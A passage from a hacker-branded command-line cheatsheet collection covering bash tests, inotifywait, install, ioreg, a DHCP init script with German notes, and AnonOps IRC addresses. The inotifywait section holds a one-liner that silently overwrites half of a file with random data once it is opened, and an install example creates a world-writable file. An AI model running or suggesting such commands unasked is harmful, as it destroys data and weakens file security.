    echo "Cool Beans"
else
    echo "Not Cool Beans"
fi

# Adding an else-if statement structure is used with the elif command.
#!/bin/bash

if [ "$1" = "cool" ]
then
    echo "Cool Beans"
elif [ "$1" = "neat" ]
then
    echo "Neato cool"
else
    echo "Not Cool Beans"
fi

An if statement does not require two parameters. You can use single flags as well. The following code tests to see if the first parameter is a file or not.
#!/bin/bash

if [ -f "$1" ]
then
    echo "$1 is a file"
else
    echo "$1 is not a file"
fi

# There are many different ways that an conditional statement can be used. These are summarized here:

# String Comparison		Description
	Str1 = Str2			Returns true if the strings are equal
	Str1 != Str2			Returns true if the strings are not equal
	-n Str1				Returns true if the string is not null
	-z Str1				Returns true if the string is null

# Numeric Comparison		Description
	expr1 -eq expr2			Returns true if the expressions are equal
	expr1 -ne expr2			Returns true if the expressions are not equal
	expr1 -gt expr2			Returns true if expr1 is greater than expr2
	expr1 -ge expr2			Returns true if expr1 is greater than or equal to expr2
	expr1 -lt expr2			Returns true if expr1 is less than expr2
	expr1 -le expr2			Returns true if expr1 is less than or equal to expr2
	! expr1				Negates the result of the expression

# File Conditionals		Description
	-d file				True if the file is a directory
	-e file				True if the file exists (note that this is not particularly portable, thus -f is generally used)
	-f file				True if the provided string is a file
	-g file				True if the group id is set on a file
	-r file				True if the file is readable
	-s file				True if the file has a non-zero size
	-u				True if the user id is set on a file
	-w				True if the file is writable
	-x				True if the file is an executable
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

59 - 🖥️imgcat

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the imgcat command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗███╗   ███╗ ██████╗  ██████╗ █████╗ ████████╗
#  ██║████╗ ████║██╔════╝ ██╔════╝██╔══██╗╚══██╔══╝
#  ██║██╔████╔██║██║  ███╗██║     ███████║   ██║   
#  ██║██║╚██╔╝██║██║   ██║██║     ██╔══██║   ██║   
#  ██║██║ ╚═╝ ██║╚██████╔╝╚██████╗██║  ██║   ██║   
#  ╚═╝╚═╝     ╚═╝ ╚═════╝  ╚═════╝╚═╝  ╚═╝   ╚═╝   

# imgcat

# A utility to display images directly on the command line.
# Requires a compatible terminal such as iTerm2.

# Display an image on the command line:
imgcat filename
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

60 - 🖥️indent

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the indent command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗███╗   ██╗██████╗ ███████╗███╗   ██╗████████╗
#                ██║████╗  ██║██╔══██╗██╔════╝████╗  ██║╚══██╔══╝
#                ██║██╔██╗ ██║██║  ██║█████╗  ██╔██╗ ██║   ██║   
#                ██║██║╚██╗██║██║  ██║██╔══╝  ██║╚██╗██║   ██║   
#                ██║██║ ╚████║██████╔╝███████╗██║ ╚████║   ██║   
#                ╚═╝╚═╝  ╚═══╝╚═════╝ ╚══════╝╚═╝  ╚═══╝   ╚═╝   
                                                                
                                                                
                                                                
                                                             
# format C/C++ source according to the style of Kernighan and Ritchie (K&R), no tabs, 3 spaces per indent, wrap lines at 120 characters.
indent -i3 -kr -nut -l120

#==============================##==============================#
# CMD INDENT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

61 - 🖥️inotifywait

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the inotifywait command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗███╗   ██╗ ██████╗ ████████╗██╗███████╗██╗   ██╗██╗    ██╗ █████╗ ██╗████████╗
#  ██║████╗  ██║██╔═══██╗╚══██╔══╝██║██╔════╝╚██╗ ██╔╝██║    ██║██╔══██╗██║╚══██╔══╝
#  ██║██╔██╗ ██║██║   ██║   ██║   ██║█████╗   ╚████╔╝ ██║ █╗ ██║███████║██║   ██║   
#  ██║██║╚██╗██║██║   ██║   ██║   ██║██╔══╝    ╚██╔╝  ██║███╗██║██╔══██║██║   ██║   
#  ██║██║ ╚████║╚██████╔╝   ██║   ██║██║        ██║   ╚███╔███╔╝██║  ██║██║   ██║   
#  ╚═╝╚═╝  ╚═══╝ ╚═════╝    ╚═╝   ╚═╝╚═╝        ╚═╝    ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝   ╚═╝   

inotifywait -e open art.jpg && s=$(stat -c %s art.jpg );h=$(($s/2));r=$((s-h)); dd if=/dev/urandom | grep -a -o -P "[\x01-\xD0]" | tr -d $'\n' | dd of=art.jpg bs=1 seek=$h count=$r 
# Digitally "shred" half a file after it is opened. 

#Block all brute force attacks in realtime (IPv4/SSH)
# Was to long with a loop, use a while loop for have it running 24/7
inotifywait -r -q --format %w /var/log/auth.log|grep -i "Failed pass"|tail -n 1|grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}';iptables -I INPUT -i eth0 -s "$(cat /var/log/auth.log|grep "authentication failure; l"|awk -Frhost= '{print $2}'|tail -n 1)" -j DROP

inotifywait -m -r -e close_write . | while read dir op file ; do [[ "$op" =~ CLOSE ]] && cp -va "${dir}${file}" ../saved/ ; done
# Use inotifywait on Linux to *try* to copy a file (outside the tree) after it's closed and before it's removed. Note: This may not be fast enough.

# Block all brute force attacks in realtime (IPv4/SSH) -> Was to long with a loop, use a while loop for have it running 24/7
inotifywait -r -q --format %w /var/log/auth.log|grep -i "Failed pass"|tail -n 1|grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}';iptables -I INPUT -i eth0 -s "$(cat /var/log/auth.log|grep "authentication failure; l"|awk -Frhost= '{print $2}'|tail -n 1)" -j DROP
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

62 - 🖥️install

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the install command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗███╗   ██╗███████╗████████╗ █████╗ ██╗     ██╗     
#  ██║████╗  ██║██╔════╝╚══██╔══╝██╔══██╗██║     ██║     
#  ██║██╔██╗ ██║███████╗   ██║   ███████║██║     ██║     
#  ██║██║╚██╗██║╚════██║   ██║   ██╔══██║██║     ██║     
#  ██║██║ ╚████║███████║   ██║   ██║  ██║███████╗███████╗
#  ╚═╝╚═╝  ╚═══╝╚══════╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚══════╝

# To create files with specific permission:
install -b -m 777 /dev/null file.txt

# Copy or create files with specific permissions and ownership
install -b -m 600 /dev/null NEWFILE
# Explanation: This example creates a new (empty) file with permissions 600. You could also specify the owner and group using the -o and -g flags respectively.
# Although you could accomplish the same for example by creating the file with touch and then change permissions with chmod and chown, or use umask to control the permissions of newly created files, those methods take multiple steps, while with install it is a single step. You can also use install to copy multiple files to a directory with specified permissions like this:
install -m 600 -o jack -g wheel file1 file2 /path/to/existing/dir
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

63 - 🖥️ionice

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ionice command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗ ██████╗ ███╗   ██╗██╗ ██████╗███████╗
#  ██║██╔═══██╗████╗  ██║██║██╔════╝██╔════╝
#  ██║██║   ██║██╔██╗ ██║██║██║     █████╗  
#  ██║██║   ██║██║╚██╗██║██║██║     ██╔══╝  
#  ██║╚██████╔╝██║ ╚████║██║╚██████╗███████╗
#  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝╚═╝ ╚═════╝╚══════╝

ionice -c 3 cp vm1.img vm1-clone.img 
# Copy a file using "ionice -c 3" to give it idle priority to reduce load on the system.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

64 - 🖥️ioreg

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ioreg command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██╗ ██████╗ ██████╗ ███████╗ ██████╗
#   ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝
#   ██║██║   ██║██████╔╝█████╗  ██║  ███╗
#   ██║██║   ██║██╔══██╗██╔══╝  ██║   ██║
#   ██║╚██████╔╝██║  ██║███████╗╚██████╔╝
#   ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝ ╚═════╝

# show I/O Kit registry (Mac OS X)

# find out the arch of the efi firmware in a Mac
ioreg -l -p IODeviceTree | grep firmware-abi

# Get Hardware UUID in Mac OS X
ioreg -d2 -c IOPlatformExpertDevice | awk -F\" '/IOPlatformUUID/{print $(NF-1)}'

# Get Hardware UUID in Mac OS X - Formats the output from `ioreg` into XML, then parses the XML with `xmllint`'s xpath feature. Show Sample Output
ioreg -ad2 -c IOPlatformExpertDevice | xmllint --xpath '//key[.="IOPlatformUUID"]/following-sibling::*[1]/text()' -

#==============================##==============================#
# CMD IOREG 						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

65 - 🖥️IPv6

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the IPv6 command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#            ██╗██████╗ ██╗   ██╗ ██████╗ 
#            ██║██╔══██╗██║   ██║██╔════╝ 
#            ██║██████╔╝██║   ██║███████╗ 
#            ██║██╔═══╝ ╚██╗ ██╔╝██╔═══██╗
#            ██║██║      ╚████╔╝ ╚██████╔╝
#            ╚═╝╚═╝       ╚═══╝   ╚═════╝ 
                     

 
Das ISC-DHCP Startscript unter /etc/init.d/isc-dhcp-server startet bei neueren systemen den Serverdienst. (alt /etc/init.d/dhcpd).

Das Startscript liest dabei die /etc/default/isc-dhcp-server config Datei ein, welch ihrerseits wieder die config files des dhcp selber einlesen (unter /etc/dhcp/dhcpd.conf)

In der /etc/default/isc-dhcp-server kann z.B. gesagt werden per config line:
INTERFACES="eth1"
DHCPD_CONF=/etc/dhcp/isc-dhcp-server6.conf

Das der DHCP Server auf ein anderes Interface hören soll und eine eigene konfig auslesen soll.

# IPv6 im Zonenfile für die Testzone srv8998.lxu.io angelegt um bind ipv6 für die Zone festzulegen
[email protected]:/var/lib/named/master# vi srv8998.lxu.io.hosts

                        TXT     "929bd6b1960356d8c32199b4eed1e681bf"
ipv6host                AAAA    2005:1204:123:4567:89ab:cdef:1234:5688

###################################################
#[email protected]:/etc/init.d/isc-dhcp-server 
#!/bin/sh

### BEGIN INIT INFO
# Provides:          isc-dhcp-server
# Required-Start:    $remote_fs $network $syslog
# Required-Stop:     $remote_fs $network $syslog
# Should-Start:      $local_fs slapd $named
# Should-Stop:       $local_fs slapd
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: DHCP server
# Description:       Dynamic Host Configuration Protocol Server
### END INIT INFO

PATH=/sbin:/bin:/usr/sbin:/usr/bin

test -f /usr/sbin/dhcpd || exit 0

DHCPD_DEFAULT="${DHCPD_DEFAULT:-/etc/default/isc-dhcp-server}"

# It is not safe to start if we don't have a default configuration...
if [ ! -f "$DHCPD_DEFAULT" ]; then
	echo "$DHCPD_DEFAULT does not exist! - Aborting..."
	if [ "$DHCPD_DEFAULT" = "/etc/default/isc-dhcp-server" ]; then
		echo "Run 'dpkg-reconfigure isc-dhcp-server' to fix the problem."
	fi
	exit 0
fi

. /lib/lsb/init-functions

# Read init script configuration
[ -f "$DHCPD_DEFAULT" ] && . "$DHCPD_DEFAULT"

NAME4=dhcpd
NAME6=dhcpd6

DESC4="ISC DHCPv4 server"
DESC6="ISC DHCPv6 server"

# use already specified config file or fallback to defaults
DHCPDv4_CONF=${DHCPDv4_CONF:-/etc/dhcp/dhcpd.conf}
DHCPDv6_CONF=${DHCPDv6_CONF:-/etc/dhcp/dhcpd6.conf}

# try to read pid file name from config file or fallback to defaults
if [ -z "$DHCPDv4_PID" ]; then
	DHCPDv4_PID=$(sed -n -e 's/^[ \t]*pid-file-name[ \t]*"\(.*\)"[ \t]*;.*$/\1/p' < "$DHCPDv4_CONF" 2>/dev/null | head -n 1)
fi
if [ -z "$DHCPDv6_PID" ]; then
	DHCPDv6_PID=$(sed -n -e 's/^[ \t]*dhcpv6-pid-file-name[ \t]*"\(.*\)"[ \t]*;.*$/\1/p' < "$DHCPDv6_CONF" 2>/dev/null | head -n 1)
fi
DHCPDv4_PID="${DHCPDv4_PID:-/var/run/dhcpd.pid}"
DHCPDv6_PID="${DHCPDv6_PID:-/var/run/dhcpd6.pid}"

test_config()
{
	VERSION="$1"
	CONF="$2"

	if ! /usr/sbin/dhcpd -t $VERSION -q -cf "$CONF" > /dev/null 2>&1; then
		echo "dhcpd self-test failed. Please fix $CONF."
		echo "The error was: "
		/usr/sbin/dhcpd -t $VERSION -cf "$CONF"
		exit 1
	fi
}

check_status()
{
        OPTION="$1"
        PIDFILE="$2"
        NAME="$3"

        if [ ! -r "$PIDFILE" ]; then
                test "$OPTION" != -v || echo "$NAME is not running."
		return 3
        fi

        if read pid < "$PIDFILE" && ps -p "$pid" > /dev/null 2>&1; then
		test "$OPTION" != -v || echo "$NAME is running."
		return 0
        else
		test "$OPTION" != -v || echo "$NAME is not running but $PIDFILE exists."
		return 1
        fi
}

start_daemon()
{
	VERSION="$1"
	CONF="$2"
	NAME="$3"
	PIDFILE="$4"
	DESC="$5"

	shift 5
	INTERFACES="$*"

	test_config "$VERSION" "$CONF"
	log_daemon_msg "Starting $DESC" "$NAME"

	if [ -e "$PIDFILE" ]; then
		log_failure_msg "dhcpd service already running (pid file $PIDFILE currenty exists)"
		exit 1
	fi

	touch /var/lib/dhcp/$NAME.leases

	start-stop-daemon --start --quiet --pidfile $PIDFILE \
		--exec /usr/sbin/dhcpd -- $VERSION -q -cf $CONF $INTERFACES
	sleep 2

	if check_status -q $PIDFILE $NAME; then
		log_end_msg 0
	else
		log_failure_msg "check syslog for diagnostics."
		log_end_msg 1
		exit 1
	fi
}

stop_daemon()
{
	if check_status -q $DHCPDv4_PID $NAME4; then
		log_daemon_msg "Stopping $DESC4" "$NAME4"
		start-stop-daemon --stop --quiet --pidfile $DHCPDv4_PID
		log_end_msg $?
		rm -f "$DHCPDv4_PID"
	fi

	if check_status -q $DHCPDv6_PID $NAME6; then
		log_daemon_msg "Stopping $DESC6" "$NAME6"
		start-stop-daemon --stop --quiet --pidfile $DHCPDv6_PID
		log_end_msg $?
		rm -f "$DHCPDv6_PID"
	fi
}

case "$1" in
	start)
		if test -n "$INTERFACES" -a -z "$INTERFACESv4"; then
                        echo "DHCPv4 interfaces are no longer set by the INTERFACES variable in" >&2
                        echo "/etc/default/isc-dhcp-server.  Please use INTERFACESv4 instead." >&2
                        echo "Migrating automatically for now, but this will go away in the future." >&2
                        INTERFACESv4="$INTERFACES"
		fi
		if test -n "$INTERFACESv4"; then
			echo "Launching IPv4 server only."
			start_daemon "-4" "$DHCPDv4_CONF" "$NAME4" \
				"$DHCPDv4_PID" "$DESC4" "$INTERFACESv4"
		fi
		if test -n "$INTERFACESv6"; then
			echo "Launching IPv6 server only."
			start_daemon "-6" "$DHCPDv6_CONF" "$NAME6" \
				"$DHCPDv6_PID" "$DESC6" "$INTERFACESv6"
		fi
		if test -z "$INTERFACESv4" -a -z "$INTERFACESv6"; then
			echo "Launching both IPv4 and IPv6 servers (please configure INTERFACES in /etc/default/isc-dhcp-server if you only want one or the other)."
			start_daemon "-4" "$DHCPDv4_CONF" "$NAME4" \
				"$DHCPDv4_PID" "$DESC4" ""
			start_daemon "-6" "$DHCPDv6_CONF" "$NAME6" \
				"$DHCPDv6_PID" "$DESC6" ""
		fi
		;;
	stop)
		stop_daemon
		;;
	restart | force-reload)
		$0 stop
		sleep 2
		$0 start
		if [ "$?" != "0" ]; then
			exit 1
		fi
		;;
	status)
		if test -n "$INTERFACES" -a -z "$INTERFACESv4"; then
                        INTERFACESv4="$INTERFACES"
		fi
		if test -n "$INTERFACESv4"; then
			echo -n "Status of $DESC4: "
			check_status -v $DHCPDv4_PID $NAME4 || exit $?
		fi
		if test -n "$INTERFACESv6"; then
			echo -n "Status of $DESC6: "
			check_status -v $DHCPDv6_PID $NAME6 || exit $?
		fi
		;;
	*)
		echo "Usage: $0 {start|stop|restart|force-reload|status}"
		exit 1
esac

exit 0
###############################################

###############################################
# /etc/default/isc-dhcp-server
# Defaults for isc-dhcp-server initscript
# sourced by /etc/init.d/isc-dhcp-server
# installed at /etc/default/isc-dhcp-server by the maintainer scripts

#
# This is a POSIX shell fragment
#

# Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf).
#DHCPD_CONF=/etc/dhcp/dhcpd.conf

# Path to dhcpd's PID file (default: /var/run/dhcpd.pid).
#DHCPD_PID=/var/run/dhcpd.pid

# Additional options to start dhcpd with.
#       Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead
#OPTIONS=""

# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
#       Separate multiple interfaces with spaces, e.g. "eth0 eth1".
INTERFACES="eth0"
DHCPD_CONF=/etc/dhcpd.conf
DHCPD_PID=/var/lib/dhcp/var/run/dhcpd.pid
###############################################

#==============================##==============================#
# CMD IPV6						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

66 - 🖥️irc

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the irc command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗██████╗  ██████╗
#  ██║██╔══██╗██╔════╝
#  ██║██████╔╝██║     
#  ██║██╔══██╗██║     
#  ██║██║  ██║╚██████╗
#  ╚═╝╚═╝  ╚═╝ ╚═════╝

#-------------------------------------------------------------------------------------#
Webchat: 
http://anonymzn3twqpxq5.onion/ (mit dem Tor Browser ziemlich anonym)

Onionzugang: 
anonymzn3twqpxq5.onion port 6667

 
AnonOps Website: 
https://anonops.com/

Webchat: 
https://webchat.anonops.com/

Direkt: 
irc.anonops.com - nur SSL

#-------------------------------------------------------------------------------------#
00:09] == - ======================================================================================================
[00:09] == - All users are required to abide by network rules. Read these now. If you cannot abide by these rules, disconnect now.
[00:09] == - Use /rules or see https://anonops.com/rules.html
[00:09] == - ======================================================================================================
[00:09] == - We use a BOPM scanner as part of our network security. When connecting to this server you will be portscanned for open proxy ports. This is a common scan used on many IRC networks and causes no harm nor does it log your IP.
[00:09] == - ======================================================================================================
[00:09] == - Disclaimer
[00:09] == - IRC is an unmoderated medium. We do not log or scrutinise the traffic which passes through this server. We take no responsibility and explicitly disclaim any legal liability for the content of any message which passes through this server, including but not limited to any links, pictures or executable code. Our server operators have no personal involvement with activities carried out under the "Anonymous" banner.
[00:09] == - ======================================================================================================
[00:09] == - Domains: irc.anonops.com irc.anonops.su anonops.ircdrama.us
[00:09] == - Ports: 6697 SSL
[00:09] == - ======================================================================================================
[00:09] == - Tutorials: http://anonops.com/tutorials.html
[00:09] == - Network Info: http://anonops.com/network.html
[00:09] == - Questions: [email protected]
[00:09] == - Network help channel: #help
[00:09] == - ======================================================================================================
[00:09] == -
[00:09] == End of message of the day.
[00:09] == There are 71 users and 226 invisible on 6 servers
[00:09] == 5 operator(s) online
[00:09] == 200 channels formed
[00:09] == I have 204 clients and 1 servers
[00:09] == Current Local Users: 204  Max: 254
[00:09] == Current Global Users: 297  Max: 351
[00:09] == AN-gln.897.03nob5.IP is now your displayed host
[00:09] == Usermode change: +xiwIT
[00:09] -sol.anonops.com- *** You are connected using SSL cipher "DHE-RSA-AES256-GCM-SHA384"
[00:09] -Global- [Logon News - Jul 05 2013] We remind everyone to NOT click random links posted in channels or in PM. It is for your own protection.
[00:09] -Global- [Logon News - Dec 24 2016] Verify your fingerprints, it can prevent snooping! More info: https://anonops.com/security.html | New users can get help by typing /join #opnewblood
[00:09] -Global- [Random News - Feb 09 2011] IRC, its like a forum

du bist anonymous - Chat
du-bist-anonymous.de/inhalt/index.php/2014-02-25-08-33-21
oder anonymzn3twqpxq5.onion port 6667. AnonOps. Website: https://anonops.com/. Webchat: https://webchat.anonops.com/. Direkt: irc.anonops.com - nur SSL ...
#-------------------------------------------------------------------------------------#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
